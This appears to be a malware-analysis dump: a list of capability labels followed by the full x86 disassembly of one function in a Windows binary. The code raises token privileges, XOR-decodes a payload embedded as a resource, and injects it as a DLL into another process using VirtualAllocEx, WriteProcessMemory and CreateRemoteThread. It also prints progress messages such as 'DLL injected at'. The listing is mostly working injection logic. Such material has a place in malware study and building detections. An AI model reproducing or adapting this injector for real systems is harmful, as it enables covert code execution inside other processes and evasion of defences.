Function at 0x401120
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Inject thread
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0x40
push ebx
push ebp
push edi
lea eax, [esp + 0x14]
push eax
push 0x28
push 0xffffffffffffffff
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40117c
mov edx, dword [esp + 0x14]
push 0
push 0
push 0
lea ecx, [esp + 0x2c]
push ecx
push 0
push edx
mov dword [esp + 0x38], 1
mov dword [esp + 0x44], 2
mov dword [esp + 0x3c], 0x14
mov dword [esp + 0x40], 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x404540
push 0x82
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
xor ecx, ecx
test eax, eax
jle 0x4011c4
mov dl, al
add dl, cl
xor dl, byte [ecx + ebx]
inc ecx
xor dl, 0x78
cmp ecx, eax
mov byte [ecx + ebx - 1], dl
jl 0x4011b1
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, 0x5a4d
cmp word [ebx], ax
jne 0x401298
mov ebp, dword [ebx + 0x3c]
add ebp, ebx
cmp dword [ebp], 0x4550
mov dword [esp + 0x18], ebp
jne 0x401298
mov ecx, 0x2000
test word [ebp + 0x16], cx
je 0x401298
test esi, esi
jne 0x401229
push 0x8000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
add esp, 0x40
ret
push str._nAllocating_memory_for_the_DLL._n
call dword [sym.imp.MSVCR90.dll_printf]
mov edx, dword [ebp + 0x50]
add esp, 4
push 0x40
push 0x3000
push edx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x40126f
push 0x8000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
add esp, 0x40
ret
mov eax, dword [ebp + 0x54]
push 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x4012b0
push 0x8000
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
or eax, 0xffffffff
pop edi
pop ebp
pop ebx
add esp, 0x40
ret
xor ecx, ecx
mov dword [esp + 0x10], 0
cmp cx, word [ebp + 6]
jae 0x4012f7
add ebp, 0x10c
mov edx, dword [ebp - 4]
mov eax, dword [ebp]
mov ecx, dword [ebp - 8]
push 0
push edx
add eax, ebx
push eax
add ecx, edi
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
movzx ecx, word [edx + 6]
inc eax
add ebp, 0x28
mov dword [esp + 0x10], eax
cmp eax, ecx
jb 0x4012c6
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebp, eax
test ebp, ebp
je 0x401282
xor eax, eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0x18]
mov dword [esp + 0x30], edi
mov edx, dword [ebx + 0x3c]
add edx, edi
mov dword [esp + 0x34], edx
mov ecx, dword [eax + 0xa0]
add ecx, edi
mov dword [esp + 0x38], ecx
mov edx, dword [eax + 0x80]
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
add edx, edi
push str._nWriting_loader_code_to_target_process._n
mov dword [esp + 0x40], edx
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], ecx
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 4
push 0
push 0x18
lea edx, [esp + 0x38]
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov ecx, 0x401110
sub ecx, section..text
push ecx
push section..text
lea eax, [ebp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push ebp
lea eax, [ebp + 0x18]
push eax
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [esp + 0x10], eax
test eax, eax
jne 0x4013e5
push 0x8000
push eax
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call ebp
push 0x8000
push 0
push edi
push esi
call ebp
jmp 0x401291
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [esp + 0x1c], 0
jne 0x401436
push 0x8000
push 0
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call ebp
push 0x8000
push 0
push edi
push esi
call ebp
mov ecx, dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
push esi
call edi
jmp 0x401298
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push str._nDLL_injected_at__x_n
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 8
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0x40
ret